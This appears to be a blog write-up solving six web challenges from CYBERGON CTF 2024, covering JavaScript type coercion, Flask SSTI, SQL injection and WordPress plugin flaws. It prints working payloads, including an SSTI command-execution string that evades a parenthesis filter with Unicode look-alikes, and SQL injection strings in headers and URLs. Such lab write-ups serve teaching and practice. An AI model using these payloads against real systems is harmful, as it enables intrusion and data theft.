Post

CYBERGON CTF 2024

Write-ups for web challenges from CYBERGON CTF 2024.

CYBERGON CTF 2024

Trickery Number

This challenge requires us to guess the right number to get the flag.

Let’s look at the given source code for the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const http = require('http');
const url = require('url');
const fs = require('fs');
const path = require('path');

const sendFile = (res, filePath, replacements = {}) => {
  fs.readFile(filePath, 'utf8', (err, data) => {
    if (err) {
      res.writeHead(500, { 'Content-Type': 'text/html' });
      res.end('<h1>Server Error</h1>');
      return;
    }

    let content = data;
    for (const [key, value] of Object.entries(replacements)) {
      content = content.replace(new RegExp(`{{${key}}}`, 'g'), value);
    }

    res.writeHead(200, { 'Content-Type': 'text/html' });
    res.end(content);
  });
};

const server = http.createServer((req, res) => {
  const parsedUrl = url.parse(req.url, true);

  if (parsedUrl.pathname === '/' && req.method === 'GET') {
    return sendFile(res, path.join(__dirname, 'index.html'));
  } else if (parsedUrl.pathname === '/flag' && req.method === 'GET') {
    try {
      let y = parsedUrl.query.y;
      if (y == null) {
        return sendFile(res, path.join(__dirname, 'null.html'));
      }
      if (y.length > 17) {
        return sendFile(res, path.join(__dirname, 'no-flag.html'));
      }
      // integer overflow will never happen here
      let x = BigInt(parseInt(y));
      if (x < y) {
        let flag = fs.readFileSync("flag.txt", 'utf8')
        return sendFile(res, path.join(__dirname, 'flag.html'), {flag});
      }
      return sendFile(res, path.join(__dirname, 'no-flag.html'));
    } catch (e) {
      console.log(e)
      return sendFile(res, path.join(__dirname, "error.html"));
    }
  } else {
    res.writeHead(404, { 'Content-Type': 'text/html' });
    return sendFile(res, path.join(__dirname, '404.html'));
  }
});

const PORT = 3000;
server.listen(PORT, () => {
  console.log(`Server is running on port ${PORT}`);
});

The interesting part to us is here:

1
2
3
4
5
6
7
8
9
10
11
12
13
      let y = parsedUrl.query.y;
      if (y == null) {
        return sendFile(res, path.join(__dirname, 'null.html'));
      }
      if (y.length > 17) {
        return sendFile(res, path.join(__dirname, 'no-flag.html'));
      }
      // integer overflow will never happen here
      let x = BigInt(parseInt(y));
      if (x < y) {
        let flag = fs.readFileSync("flag.txt", 'utf8')
        return sendFile(res, path.join(__dirname, 'flag.html'), {flag});
      }

To get the flag, x must be smaller than y. But if the value of x is assigned from y, how can one be smaller than the other?

JavaScript Type Coercion

The trick here is in how JavaScript handles type coercions. When values of different data types are compared, one of them (RHS) is implicitly converted to the LHS data type.

Because x < y, y is implicitly converted from a string to BigInt.

Then, how can we abuse this so that x < y will be true? In JavaScript, if you use a number greater than the Number.MAX_SAFE_INTEGER, we will lose precision when it is converted by parseInt. Because y is directly converted to BigInt, we won’t lose precision, and will be bigger than x.

Javascript type coercion

Entering the number 9007199254740993, we get the flag.

Trickery Number flag

Flag: CYBERGON_CTF2024{oH_n0t_Th4t_tRiCk3rY}

Greeting

The challenge takes in user input and prints it back to the user, this looks like a classic SSTI challenge.

If we inspect the server header, we’ll find that it is running Werkzeug/2.0.3 Python/3.8.20. For Python applications, I always trigger the default error page to figure out the framework that’s being used.

Flask default 404

As you can see, this is the default 404 page for Flask.

SSTI

Confirm SSTI

We can confirm that SSTI is possible with {{ 7*7 }} .

Next, we want to get code execution to read files on the server. Instead of going through __subclasses__ and finding the right index to os, I prefer using the __globals__.__builtins__ method for RCE.

1
{{request.application.__globals__.__builtins__.__import__('os')['popen']('cat flag.txt')['read']()}}

I find that this way is a lot more elegant.

If we try our payload, we’ll notice that we’re being blocked by some type of filter.

Bad characters preventing function call

I found out that () characters were being blocked by the application, but how do we call functions without using ()?

Unicode Normalization

Python is unique in how it handles unicode representations of the same character. Essentially, different unicode representations of the same character are treated as different characters, but get converted back to the same value. So, if we use different unicode representations of () (I used U+208D and U+208E), these would not be treated as bad characters, and allow us to call functions.

Payload:

1
{{request.application.__globals__.__builtins__.__import__₍'os'₎['popen']₍'cat flag.txt'₎['read']₍₎}}

Flag: CYBERGON_CTF2024{H3lL0_fRoM_CyBer_GoN_2024}

Agent

We can register our own accounts and login. After logging in, we can view our own logs which shows our IP and user agent. If we change our user agent, it’s reflected in the logs.

user agent in logs

If we try adding a ' in our user agent, we’ll trigger an error, hinting at SQL injection.

sql error

SQL Injection

Note that for this SQLI, we are inside an INSERT statement, not the standard SELECT. The INSERT expects (username, password), so we’ll have to close the brackets for it to be valid. Also, since we are inserting our payload through the user agent, we can’t use stacked queries (at least I couldn’t think of how, it should be impossible) since the ; character will just terminate the user agent header, and anything following it as another user agent value.

We’ll combine the SQLI in the user agent with the log viewing function to get our query outputs.

select version()

version number

We confirm the SQLI, and the database is running on MySQL 9.1.0

Next, we’ll want to enumerate the database to find the table containing the flag. Here’s what we found out:

  • The only databases available are information_schema and ctf. Note that the default mysql and performance databases are missing. This is likely because the current user is low privileged.
  • The current user is ctfuser.
  • ctf only has users table.
  • ctfuser does not have FILE permissions.

Now, the users table had 4253+ rows when I attempted it, and I got into a rabbithole trying to find the flag elsewhere in the database like in information_schema.processlist. The solution was actually pretty straightforward, we just need to retrieve the password for the admin user.

1
User-Agent: User-Agent: users', (select password from ctf.users where username="admin" limit 1))-- -

Agent flag

Searching for the flag format in the username and password columns would have also worked:

1
User-Agent: User-Agent: users', (select password from ctf.users where password like "CYBERGON_CTF2024{" limit 1 offset 1))-- -

Flag: CYBERGON_CTF2024{N0w_Ag3nt_PwN3d_Th3_S3rv3r}

Event

The search function takes in query and date. date expects MM/DD/YYYY-MM/DD/YYYY. If you omit the end date in the range, it will default to the current day.

Parsing from date to DATE

We’ll easily find the the SQL error when we insert a single quote in date. The weird thing here is in how date is being parsed. If we insert ' in different positions in MM/DD/YYYY, we can see how the single quote is being inserted in the backend.

This is because DATE in SQL is in YYYY-MM-DD format, so the backend will parse our input string to the format that DATE expects. For example, the date 11/30'/2024 will result in the following query, which triggers the error:

1
select * from table where date > '2024-11-30'' and date < '2024-12-11'

UNION-based SQL Injection

To confirm the SQLI, we’ll set the date to one that doesn’t have any records, then try to do OR 1=1 to return all rows.

Note that certain characters were not allowed because of how the date was being parsed:

  • Using - for comments would result in it being parsed as the range of the date.
  • Using /**/ for comments and whitespace would fail because / is being parsed as the separators in the date.

I’ll use # for comment character and tab character for whitespace.

1
/search.php?query=&date=12/21'%09OR%091=1%09%23/2024-

Since we have output, we can do a UNION to query the hidden event. We confirm that the original query has 5 columns.

Wrong number of columns UNION

1
/search.php?query=&date=12%2f21'%09union%09select%091%2c2%2c3%2c4%2c5%23%2f2024-

Confirm number of columns UNION

Then, we can enumerate the database through information_schema. Here’s what I gathered:

  • information_schema, performance_schema, events_db are available.
  • events_db has the tables cybergon and events.
  • The columns of cybergon are id, title.
  • The columns of events are id, title, description, date, location.

We discover the flag in the description field of one of the rows in cybergon.

event flag

Flag: CYBERGON_CTF2024{SqL_1s_FuN_4nd_E@Sy}

Cybergon Blog

We’re given a WordPress application that has a custom plugin for profile customization. We’re also given the source code to this plugin. Users can register their own WP user accounts (subscriber role).

user-profile-enhancer.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
/*
Plugin Name: User Profile Enhancer
Description: Adds various customization options to the user profile update functionality.
Version: 1.0
Author: mgthura
*/

function log_user_activity($user_id) {
    error_log("User ID {$user_id} updated their profile.");
}
function add_custom_profile_field($user) {
    echo '<h3>Custom Profile Settings</h3>';
    echo '<table class="form-table"><tr>';
    echo '<th><label for="custom_field">Custom Field</label></th>';
    echo '<td><input type="text" name="custom_field" id="custom_field" value="" class="regular-text"></td>';
    echo '</tr></table>';
}
add_action('show_user_profile', 'add_custom_profile_field');
add_action('edit_user_profile', 'add_custom_profile_field');

function process_custom_profile_field($user_id) {
    if (isset($_POST['custom_field'])) {
        update_user_meta($user_id, 'custom_field', sanitize_text_field($_POST['custom_field']));
    }
}
add_action('personal_options_update', 'process_custom_profile_field');
add_action('edit_user_profile_update', 'process_custom_profile_field');

function custom_admin_notice() {
    echo '<div class="notice notice-info"><p>Profile customization plugin is active!</p></div>';
}
add_action('admin_notices', 'custom_admin_notice');

function add_custom_capability_to_admin() {
    $admin = get_role('administrator');
    if ($admin && !$admin->has_cap('customize_theme')) {
        $admin->add_cap('customize_theme');
    }
}
add_action('admin_init', 'add_custom_capability_to_admin');

function update_dummy_option() {
    update_option('dummy_option', time());
}
add_action('admin_init', 'update_dummy_option');

function dummy_shortcode_function($atts) {
    return '<p>Dummy shortcode output!</p>';
}
add_shortcode('dummy_shortcode', 'dummy_shortcode_function');

function display_user_role_in_footer() {
    if (is_admin() && current_user_can('read')) {
        $current_user = wp_get_current_user();
        echo '<p style="text-align:center;">Your Role: ' . esc_html(implode(', ', $current_user->roles)) . '</p>';
    }
}
add_action('admin_footer', 'display_user_role_in_footer');

function custom_profile_update_hook($user_id) {
    if (isset($_POST['custom_option']) && is_array($_POST['custom_option']) && in_array('0', $_POST['custom_option'])) {
        $user = get_user_by('id', $user_id);
            $user->set_role('contributor');
    }
}

add_action('personal_options_update', 'custom_profile_update_hook');
add_action('edit_user_profile_update', 'custom_profile_update_hook');

function update_user_last_login($user_login, $user) {
    update_user_meta($user->ID, 'last_login', current_time('mysql'));
}
add_action('wp_login', 'update_user_last_login', 10, 2);

function debug_user_data() {
    if (isset($_GET['debug_user'])) {
        $user = wp_get_current_user();
        error_log(print_r($user, true));
    }
}
add_action('admin_init', 'debug_user_data');

The vulnerable code is here:

1
2
3
4
5
6
function custom_profile_update_hook($user_id) {
    if (isset($_POST['custom_option']) && is_array($_POST['custom_option']) && in_array('0', $_POST['custom_option'])) {
        $user = get_user_by('id', $user_id);
            $user->set_role('contributor');
    }
}

When the edit_user_profile_update hook is triggered, it checks if custom_option is in the request body. If custom_option is an array and “0” is in one of the elements, then the current user is granted the contributor role.

I’ll interecept the request to the profile body, and build the payload:

1
...[SNIP]...&custom_option[]=0&custom_option[]=1&testing&action=update&user_id=10&submit=Update+Profile

In PHP, we can send an array of values by using param[]. Each param[] will be parsed as an element of the param array.

1
2
3
4
custom_option[]=0&custom_option[]=1

Parsed:
"custom_option" => ["0", "1"]

Now that we are a contributor, we are able to manage posts.

we are now a contributor

We discover the flag in one of the existing posts.

hello world post

cybergonblog flag

Flag: CYBERGON_CTF2024{w0rdpr3ss_vUlN_1s_FuN_4nd_3asy}

Cybergon Blog 2

Continuation of the previous challenge. This time the user profile enhancer plugin is removed. The site now has a plugin for enhancing blog posts, and we’re given the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
/*
Plugin Name: User Post Enhancer
Description: A plugin to enhance user posts with additional functionality.
Version: 1.0
Author: mgthura
*/

if (!defined('ABSPATH')) {
    exit; // Exit if accessed directly
}

class CustomUserActions {
    public function __construct() {
        add_action('init', [$this, 'register_ajax_actions']);
        add_action('wp_enqueue_scripts', [$this, 'enqueue_scripts']);
        add_action('wp_ajax_generate_nonce', [$this, 'generate_nonce']);
        add_action('wp_ajax_nopriv_generate_nonce', [$this, 'generate_nonce']);
        add_action('wp_ajax_read_post_data', [$this, 'read_post_data']);
        add_action('wp_ajax_read_post', [$this, 'read_post']);
        add_action('wp_ajax_update_user_preferences', [$this, 'update_user_preferences']);
        add_action('wp_ajax_fetch_user_settings', [$this, 'fetch_user_settings']);
        add_action('wp_ajax_get_recent_posts', [$this, 'get_recent_posts']);
        add_action('wp_ajax_submit_feedback', [$this, 'submit_feedback']);
        add_action('wp_ajax_update_avatar', [$this, 'update_avatar']);
        add_action('wp_ajax_fetch_api_data', [$this, 'fetch_api_data']);
        add_action('wp_ajax_review_security_policies', [$this, 'review_security_policies']);
        add_action('wp_ajax_sync_server', [$this, 'sync_server']);
        add_action('wp_ajax_process_shortcode', [$this, 'process_shortcode']);
        add_action('wp_ajax_execute_background_task', [$this, 'execute_background_task']);
    }

    public function generate_nonce() {
        if (is_admin()) {
            $nonce = wp_create_nonce('read_post_data_nonce');
            wp_send_json_success(['nonce' => $nonce]);
        } else {
            wp_send_json_error(['message' => 'Unauthorized']);
        }
    }

    public function read_post() {
        $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
        $post = get_post($post_id);

        if ($post && $post->post_status === 'publish') {
            wp_send_json_success(['post_data' => [
                'title'   => $post->post_title,
                'content' => $post->post_content,
            ]]);
        } else {
            wp_send_json_error(['message' => 'Post not found or not published']);
        }
    }

    public function read_post_data() {
        check_ajax_referer('read_post_data_nonce', 'nonce');

        $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
        $post = get_post($post_id);

        if (is_admin() && $post) {
            wp_send_json_success(['post_data' => [
                'title'   => $post->post_title,
                'content' => $post->post_content,
            ]]);
        } else {
            wp_send_json_error(['message' => 'Unauthorized or post not found']);
        }
    }

    public function update_user_preferences() {
        $user_id = get_current_user_id();
        $prefs = ['theme' => 'light', 'notifications' => 'enabled', 'language' => 'en'];
        $updated = update_user_meta($user_id, 'preferences', $prefs);

        if ($updated) {
            wp_send_json_success(['message' => 'Preferences updated.', 'preferences' => $prefs]);
        } else {
            wp_send_json_error(['message' => 'Failed to update preferences.']);
        }
    }

    public function fetch_user_settings() {
        $user_id = get_current_user_id();
        $settings = [
            'email' => wp_get_current_user()->user_email,
            'timezone' => get_option('timezone_string', 'UTC'),
        ];

        if (!empty($settings)) {
            wp_send_json_success(['message' => 'Settings fetched successfully.', 'settings' => $settings]);
        } else {
            wp_send_json_error(['message' => 'Failed to fetch settings.']);
        }
    }

    public function get_recent_posts() {
        $posts = get_posts(['numberposts' => 5, 'post_status' => 'publish']);
        $data = array_map(function ($post) {
            return ['title' => $post->post_title, 'id' => $post->ID];
        }, $posts);

        if ($data) {
            wp_send_json_success(['message' => 'Recent posts retrieved.', 'posts' => $data]);
        } else {
            wp_send_json_error(['message' => 'No posts available.']);
        }
    }

    public function submit_feedback() {
        $feedback = isset($_POST['feedback']) ? sanitize_text_field($_POST['feedback']) : '';
        $feedback_id = wp_insert_post([
            'post_title'   => 'User Feedback',
            'post_content' => $feedback,
            'post_status'  => 'pending',
            'post_type'    => 'feedback',
        ]);

        if ($feedback_id) {
            wp_send_json_success(['message' => 'Feedback submitted successfully.', 'id' => $feedback_id]);
        } else {
            wp_send_json_error(['message' => 'Failed to submit feedback.']);
        }
    }

    public function update_avatar() {
        $avatar_id = isset($_POST['avatar_id']) ? intval($_POST['avatar_id']) : 0;
        $user_id = get_current_user_id();

        if ($avatar_id && $user_id) {
            update_user_meta($user_id, 'avatar', $avatar_id);
            wp_send_json_success(['message' => 'Avatar updated.', 'avatar_id' => $avatar_id]);
        } else {
            wp_send_json_error(['message' => 'Invalid avatar or user.']);
        }
    }

    public function fetch_api_data() {
        $api_url = 'https://catfact.ninja/fact';
        $response = wp_remote_get($api_url);
        $body = wp_remote_retrieve_body($response);

        if ($body) {
            wp_send_json_success(['message' => 'Data fetched from API.', 'data' => json_decode($body)]);
        } else {
            wp_send_json_error(['message' => 'Failed to fetch data from API.']);
        }
    }

    public function review_security_policies() {
        wp_send_json_success(['message' => 'Security policies reviewed.']);
    }

    public function sync_server() {
        wp_send_json_success(['message' => 'Server synchronization complete.']);
    }

    public function process_shortcode() {
        wp_send_json_success(['message' => 'Shortcode processed.', 'shortcode' => '[example_shortcode]']);
    }

    public function execute_background_task() {
        wp_send_json_success(['message' => 'Background task completed.']);
    }
}

new CustomUserActions();

nopriv Hook to Generate Nonce

First off, we have a nopriv hook for generating nonce values. This means we can retrieve a valid nonce without authentication by making a request to admin-ajax.php.

1
add_action('wp_ajax_nopriv_generate_nonce', [$this, 'generate_nonce']);

nopriv generate_nonce We’ll come back to this later on.

Reading post data

The interesting part to us is the read_post_data function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    public function read_post_data() {
        check_ajax_referer('read_post_data_nonce', 'nonce');

        $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
        $post = get_post($post_id);

        if (is_admin() && $post) {
            wp_send_json_success(['post_data' => [
                'title'   => $post->post_title,
                'content' => $post->post_content,
            ]]);
        } else {
            wp_send_json_error(['message' => 'Unauthorized or post not found']);
        }
    }

The function checks for a valid nonce, and returns the post of the given post_id. The authentication check with is_admin here is flawed. WordPress’ is_admin doesn’t work as you would expect.

Instead of checking if the current user is an admin, it actually checks if the request originates from an admin page. Since we’re calling the action with from /wp-admin/admin-ajax.php, we basically bypass the check.

Putting everything together, we include the nonce from the nopriv hook, and search through posts with read_post_data to discover the flag.

cybergon blog2 flag

Flag: CYBERGON_CTF2024{W0rdPr3ss_1s_FuN_W4s_1t?}

This post is licensed under CC BY 4.0 by the author.